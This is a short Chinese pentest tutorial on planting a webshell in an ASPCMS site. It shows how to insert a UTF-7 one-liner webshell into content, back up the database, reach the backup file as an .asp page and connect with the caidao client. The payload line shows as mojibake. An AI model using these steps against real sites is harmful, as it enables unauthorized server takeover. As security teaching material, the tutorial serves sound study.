文章目录

• 渗透测试-地基篇-Webshell-Aspcms框架（十）
• 一、登录演示
• 二、数据库备份拿webshell

---

一、登录演示

本次演示一种方法思路拿aspcms框架的webshell，该页面是用的是最新版本的aspcms框架自行搭建演示的。

1）登录地址：http://www.aspcms.com/admin_aspcms/

2）登录后的页面：

二、数据库备份拿webshell

登录到扩展功能-数据库备份恢复：

首先打开内容维护中栏目都可以插入一句话，修改即可：

插入utf7一句话：

uft7 一句话┼攠數畣整爠煥敵瑳∨≡┩愾

然后开始备份数据库：

在点击恢复此备份：

aspcms默认的这个数据库名是：#5Dp8Gh.asp改为%235Dp8Gh.asp
访问：http://www.aspcms.com/data/%235Dp8Gh.asp

在内容中出现：ÀàÐͲ»Æ¥Åä: 'execute’表示写入一句话
成功利用caidao连接：